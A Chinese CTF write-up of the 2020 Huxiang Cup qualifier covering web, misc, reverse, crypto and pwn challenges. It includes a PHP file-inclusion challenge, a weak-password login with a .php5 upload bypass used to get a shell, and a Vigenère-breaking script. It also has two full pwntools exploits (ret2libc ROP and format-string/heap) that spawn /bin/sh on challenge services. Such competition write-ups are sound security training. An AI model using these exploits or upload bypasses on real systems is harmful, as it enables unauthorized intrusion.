2020第六届湖湘杯线上赛部分WriptUp
湖湘杯2020线上初赛 WriteUp【ATD】
Web
题目名字不重要反正题挺简单的
<?php
error_reporting(0);
//I heard you are good at PHPINFO+LFI, flag is in flag.php, find it my dear noob vegetable hacker.
if ( isset($_GET['file']) ) {
$file = $_GET['file'];
if ( $file === "phpinfo" ) {
phpinfo();
exit;
}
if ( preg_match('/proc/i' , $file) ) {
die("private");
}
$file = "/var/www/html/" . $file;
$content = file_get_contents($file);
if ( !$content ) {
die("nothing");
}
if ( preg_match("/script|<\?/i", $content) ) {
die("bypass me");
}
include_once $file;
} else {
highlight_file(__FILE__);
}
看上去就是LFI绕过,但是当我查看phpinfo的时候,在环境变量中发现了Flag,应该是个非预期。(安恒:草率了)
NewWebsite
入门题,没啥好说的,admin/admin弱口令进入后台,然后找上传点直接getshell。过滤是黑名单,php传不上直接把后缀改成php5就行。
然后就一把嗦。
MISC
passwd
下载下来是个系统镜像,内存取证一把梭。
在cmd5解密得到CTF用户的密码为qwer1234,然后md5(qwer1234)便能得到flag。
REVERSE
easy_c++
分析代码可得
师傅花两分钟写出exp
t='7d21e<e3<:3;9;ji t r#w\"$*{*+*$|,'
for i in range(32):
print(chr(ord(t[i])^i),end="")
CPYPTO
古典美++
维吉尼亚,获取秘钥(全大写字母)并转为MD5提交
SZWLVSRVVZICMUOJYIIZBSVSSITFSWHPCWCFPVPFXJMWRVJICVRGTCFLHPRJKJKSRVWYFUSEWHFXLHFOSFLYPFXXYFPOEGXFXMBUHVNIYHNDWXPGBXWSYBNDVQRVYRTZUWKTFSKUMVERCCRSBEMKEDRUNYYVRYKXFOKVLVXYGTRQZOEHFEYKJRKRVXFPBOINXFTCSRQCKIGBXWLVOQVVOSFLCRRWXYFQWUHWFGRVVZICMYBUQSKJASUWLRURVVBAVSCTZOPVEUWKKGLQZCRUHJBLRSRSBTFSCYIJICFVDRUUFSIHWYFQONPEGTYBUSMTUSFVVLLOEIGRRGFEGJKIKPMYURAEBHOIIVFNMBVRJKICGYHPMFQOJVLVQYGJHHZUUOJOESFJZVGSIBLUVPEINYZRGISVRHFKIIHPSRWHZTYDGRMEUKSEWMKXYGVPTKZQVVGMUOMHCLOVUMRIRTKICXRUJFSDSRUSWLGZCLRXTMAVESUZQCDDRRHCRKRTLUGHZQXFPLSFIXYFAIGESRSBGRVWYFDSCOTRTRWKZICMRVFXKYUYZZFIKPFSIVICGYTKHVJVAVRIECMYGKKMJJQVROPKIGBBQSKIGBXRJKVKPCLRXEMKEVXRJPGYRASSYJVWLVZJZROPKIGBBPIRUFCDHAYZGKFXPUORGRBEEZRVZQKRCMIKLXVWCBZIMWFJZFIJKICHFSSWUFSYRYJFUVZFLNBQJVUCCJISCBXIVCRFZRUPUBURAEXMICGXYFDOCORVWCFTRQVUMOEHRUJUCEGIIIMKDDRPNGZVVMMFDOCOIECWHYLWKJKSJKIJBGRROSLEGALVXSFESKWMEHQCDHAYFPSEHEIUFSTHRKSCCWWLVFYFKKPVUKSJHIKIYHNRYCEZSWRYIUFCLVEEEKWCHWUPUBZWLZOITFUCFVQSVDPZDCVRGPVBPBKVIMFPOCWLZOEGFIXYJQGFUXZOFSIOIJTMBJLRKICGTKSFMPCFPEEERVFXKYUFWJZEJOMHRYIIZECFGSGQMFKXRZUWTFUWYPUWEJSWGFSINRFXJSUJIRTRVVUINBQBFRRVUMZZVXVORCYHVJUGZCLXNBQUFRHGSYQKLGVUMGRBMKPTSIBIJUFOKVESPSHKKIIJEVKGMJUYBTHFLURVVQMNPLRVUAYBRZRWMKVBSFUPFOEWKXHVJTSXRXKPYZZFIYBBBFLHVBUVRWPRUGHLGINBQCIOSEHGHLGIVJRVVUFLURVFXKYURVVBAVSCBZFIXSYBUZSIEQHFVEPQPSJHRKMWGYHFVHYBRJEZOGKFQHVSGTZVLRMJTROPIJEVKWLIPSUYWLVFYFKKLFXDIEQCZUJZJHIDUMQFPIFVRODRRXUFSGHSGMCHYDXNBJYNLXYUFSZULVBBGURAEXYFUWLVBLHZSEKIGSJLXYJLYJKINBQFRWLVSEZRGXYFPSNDWEPMBVOMJUCBZQKKIGGKLQVBQWKGMUORGFXRUBROCOXYFPWXKXNPPRSXXZTFOCOLRWCHFDWBUFSDZLRURVVQEDFMTKKITPSBKUCZTWCLNRFXNZVDWVNYODLWKIGGEHAQFYZRQHFSYIJWVRMGORQHJICHILIUUMQLUXJFWOJVLVTNCBHJROAMTXVKTCMZQKRTWCLUIWBJZZQKKIPCLJLKICOZUHFZMIKKMELWCLFSLMBARQEXFGHRQHNIYHRQMXOMFRQXCJRHCHKZSJGYHPCUFWENQVGMFRVOZOEBFLXCMLSMHVUPRCRVOGFPVRSWZTFOCOWVFGHNUMKUCBLSWFNCKYHVV
直接上脚本
import vigenerecipher
#使用拟重合指数法确定秘钥长度:拟重合指数大于0.6为标志
def length(Ciphertext):
ListCiphertext=list(Ciphertext)
Keylength=1
while True:
#指数初始化为0
CoincidenceIndex = 0
#使用切片分组
for i in range(Keylength):
Numerator = 0
PresentCipherList = ListCiphertext[i::Keylength]
#使用集合去重,计算每一子密文组的拟重合指数
for Letter in set(PresentCipherList):
Numerator += PresentCipherList.count(Letter) * (PresentCipherList.count(Letter)-1)
CoincidenceIndex += Numerator/(len(PresentCipherList) * (len(PresentCipherList)-1))
#求各子密文组的拟重合指数的平均值
Average=CoincidenceIndex / Keylength
Keylength += 1
#均值>0.6即可退出循环
if Average > 0.06:
break
Keylength -= 1
return Keylength
#使用重合指数法确定秘钥内容:遍历重合指数的最大值为标志
def keyword(Ciphertext,keylength):
ListCiphertext = list(Ciphertext)
Standard = {'A':0.08167,'B':0.01492,'C':0.02782,'D':0.04253,'E':0.12702,'F':0.02228,'G':0.02015,'H':0.06094,'I':0.06966,'J':0.00153,'K':0.00772,'L':0.04025,'M':0.02406,'N':0.06749,'O':0.07507,'P':0.01929,'Q':0.00095,'R':0.05987,'S':0.06327,'T':0.09056,'U':0.02758,'V':0.00978,'W':0.02360,'X':0.00150,'Y':0.01974,'Z':0.00074}
while True:
KeyResult = []
for i in range(keylength):
# 使用切片分组
PresentCipherList = ListCiphertext[i::keylength]
#初始化重合指数最大值为0,检验移动位数对应字符以*代替
QuCoincidenceMax = 0
KeyLetter = "*"
#遍历移动的位数
for m in range(26):
#初始化当前移动位数的重合指数为0
QuCoincidencePresent = 0
#遍历计算重合指数:各个字符的频率*对应英文字符出现的标准频率---的和
for Letter in set(PresentCipherList):
LetterFrequency = PresentCipherList.count(Letter) / len(PresentCipherList)
# 标准频率
k = chr( ( ord(Letter) - 65 - m ) % 26 + 65 )
StandardFrequency = Standard[k]
#计算重合指数
QuCoincidencePresent = QuCoincidencePresent + LetterFrequency * StandardFrequency
#保存遍历过程中重合指数的最大值,同时保存对应应对的位数,即对应key的字符
if QuCoincidencePresent > QuCoincidenceMax:
QuCoincidenceMax = QuCoincidencePresent
KeyLetter = chr( m + 65 )
#保存当前位置key的值,退出循环,进行下一组子密文移动位数的尝试
KeyResult.append( KeyLetter )
#列表转为字符串
Key = "".join(KeyResult)
break
return Key
if __name__ == '__main__':
Ciphertext = input("输入密文:").upper()
Keylength = length(Ciphertext)
print("keylength最可能为:",Keylength)
KeyResult = keyword(Ciphertext,Keylength)
print("秘钥最可能为:" , KeyResult)
#已知秘钥可用python自带维吉尼亚解密
ClearText = vigenerecipher.decode( Ciphertext,KeyResult )
print("解密结果为:" , ClearText)
所以flag为MD5(ORDERBY)
PWN
pwn_printf
入门题
from pwn import *
#sh = process('./pwn_printf')
sh = remote('127.0.0.1', 7777)
elf = ELF('./pwn_printf')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
attack_addr = 0x20
#gdb.attach(sh)
for i in range(0, 16):
sh.sendline(str(attack_addr))
pop_rdi = 0x0000000000401213
payload = 'a' * 8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rdi) + p64(0x40) + p64(0x4007C6)
sh.send(payload)
sh.recvuntil('You will find this game very interesting\n')
puts_addr = u64(sh.recvn(6).ljust(8, '\x00'))
libc_base = puts_addr - 0x6f6a0
system_addr = libc_base + 0x0453a0
bin_sh_addr = libc_base + 0x18ce17
payload = 'a' * 8 + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
sh.send(payload)
print(hex(puts_addr))
sh.interactive()
DASCTF{26a30135bb9f58cf9edede509f1dcb3e}
blend_pwn
from pwn import *
context.log_level = 'debug'
#sh = process('./blend_pwn')
sh = remote('127.0.0.1', 7778)
elf = ELF('./blend_pwn')
libc = elf.libc
#gdb.attach(sh)
def add(content):
sh.recvuntil("Enter your choice >")
sh.sendline('2')
sh.recvuntil("input note:")
sh.sendline(content)
def dele(idx):
sh.recvuntil("Enter your choice >")
sh.sendline('3')
sh.recvuntil(">")
sh.sendline(str(idx))
def show():
sh.recvuntil("Enter your choice >")
sh.sendline('4')
sh.sendline('%p')
add('1')
sh.recvuntil("Enter your choice >")
sh.sendline('1')
sh.recvuntil("Current user:")
stack_addr = int(sh.recvn(14), 16)
print(hex(stack_addr))
sh.recvuntil("Enter your choice >")
sh.sendline('666')
#payload = p64(stack_addr + 0x2750 - 8) * 5
payload = 0x20 * 'a' + p64(stack_addr + 0x26c0) + 'a'
sh.send(payload)
sh.recvuntil('name')
sh.sendline('%3$p')
sh.sendline('1')
sh.recvuntil("Current user:")
libc_base = int(sh.recvn(14), 16) - 0xf7380
system = libc_base + libc.sym['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()
pop_rdi = libc_base + 0x0000000000021112
add('\x00' * 0x30 + p64(pop_rdi) + p64(bin_sh_addr) + p64(system))
dele(0)
dele(1)
show()
sh.recvuntil('index 2:')
heap_addr = u64(sh.recvn(6).ljust(8, '\x00')) + 0x90 + 0x20
print(hex(heap_addr))
#gdb.attach(sh)
sh.sendline('666')
payload = '\x00' * 0x20 + p64(heap_addr - 8) + 'a'
sh.send(payload)
print(hex(stack_addr))
sh.interactive()
DASCTF{a3b14b43cefdc3456527cb93dc1374f9}
总结
我们还是太菜了,希望下次加油。但是两个web拿了三血,总体来说还是很开心的。